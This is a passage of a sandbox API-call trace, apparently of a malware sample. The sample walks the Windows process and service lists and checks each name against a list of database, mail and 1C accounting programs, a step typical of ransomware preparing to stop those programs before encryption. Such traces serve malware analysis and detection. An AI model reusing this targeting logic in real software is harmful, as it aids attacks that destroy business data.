th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.344] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.344] lstrlenW (lpString="System") returned 6 [0251.344] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0251.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0251.344] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.344] lstrlenW (lpString="smss.exe") returned 8 [0251.344] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0251.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0251.344] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.345] lstrlenW (lpString="csrss.exe") returned 9 [0251.345] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.345] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.345] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.345] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.345] lstrlenW (lpString="wininit.exe") returned 11 [0251.345] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0251.345] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0251.345] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.346] lstrlenW (lpString="csrss.exe") returned 9 [0251.346] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0251.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0251.346] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0251.346] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0251.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0251.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0251.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0251.346] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.346] lstrlenW (lpString="winlogon.exe") returned 12 [0251.346] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0251.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0251.346] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.347] lstrlenW (lpString="services.exe") returned 12 [0251.347] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0251.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0251.347] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.347] lstrlenW (lpString="lsass.exe") returned 9 [0251.347] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0251.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0251.347] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0251.347] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0251.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0251.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0251.347] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0251.347] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0251.348] lstrlenW (lpString="lsm.exe") returned 7 [0251.348] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0251.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0251.348] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0251.348] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0251.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0251.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0251.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0251.348] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.348] lstrlenW (lpString="svchost.exe") returned 11 [0251.348] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0251.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0251.348] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.349] lstrlenW (lpString="svchost.exe") returned 11 [0251.349] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0251.349] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.349] lstrlenW (lpString="svchost.exe") returned 11 [0251.349] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0251.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0251.349] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.350] lstrlenW (lpString="svchost.exe") returned 11 [0251.350] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.350] lstrlenW (lpString="svchost.exe") returned 11 [0251.350] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.350] lstrlenW (lpString="audiodg.exe") returned 11 [0251.350] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.351] lstrlenW (lpString="svchost.exe") returned 11 [0251.351] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.351] lstrlenW (lpString="svchost.exe") returned 11 [0251.351] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0251.351] lstrlenW (lpString="userinit.exe") returned 12 [0251.351] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.351] lstrlenW (lpString="dwm.exe") returned 7 [0251.352] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.352] lstrlenW (lpString="explorer.exe") returned 12 [0251.352] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.352] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.354] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0251.363] lstrlenW (lpString="taskhost.exe") returned 12 [0251.363] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.364] lstrlenW (lpString="svchost.exe") returned 11 [0251.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0251.364] lstrlenW (lpString="uyuquk.exe") returned 10 [0251.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0251.364] lstrlenW (lpString="reader_sl.exe") returned 13 [0251.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0251.365] CloseHandle (hObject=0x398) returned 1 [0251.370] Sleep (dwMilliseconds=0x1f4) [0252.010] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb48 [0252.288] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0252.289] GetLastError () returned 0xea [0252.289] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0252.289] EnumServicesStatusExW (in: hSCManager=0x42aeb48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0252.289] CloseServiceHandle (hSCObject=0x42aeb48) returned 1 [0252.289] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0252.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0252.289] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0252.289] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0252.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0252.289] lstrlenW (lpString="AudioSrv") returned 8 [0252.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0252.290] lstrlenW (lpString="BFE") returned 3 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0252.290] lstrlenW (lpString="CryptSvc") returned 8 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.290] lstrlenW (lpString="CscService") returned 10 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0252.290] lstrlenW (lpString="DcomLaunch") returned 10 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.290] lstrlenW (lpString="Dhcp") returned 4 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.290] lstrlenW (lpString="Dnscache") returned 8 [0252.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.290] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.290] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.291] lstrlenW (lpString="DPS") returned 3 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.291] lstrlenW (lpString="eventlog") returned 8 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0252.291] lstrlenW (lpString="EventSystem") returned 11 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.291] lstrlenW (lpString="gpsvc") returned 5 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.291] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.291] lstrlenW (lpString="lmhosts") returned 7 [0252.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.291] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.291] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.291] lstrlenW (lpString="MMCSS") returned 5 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0252.292] lstrlenW (lpString="MpsSvc") returned 6 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.292] lstrlenW (lpString="NlaSvc") returned 6 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.292] lstrlenW (lpString="nsi") returned 3 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.292] lstrlenW (lpString="PcaSvc") returned 6 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.292] lstrlenW (lpString="PlugPlay") returned 8 [0252.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.292] lstrcmpiW 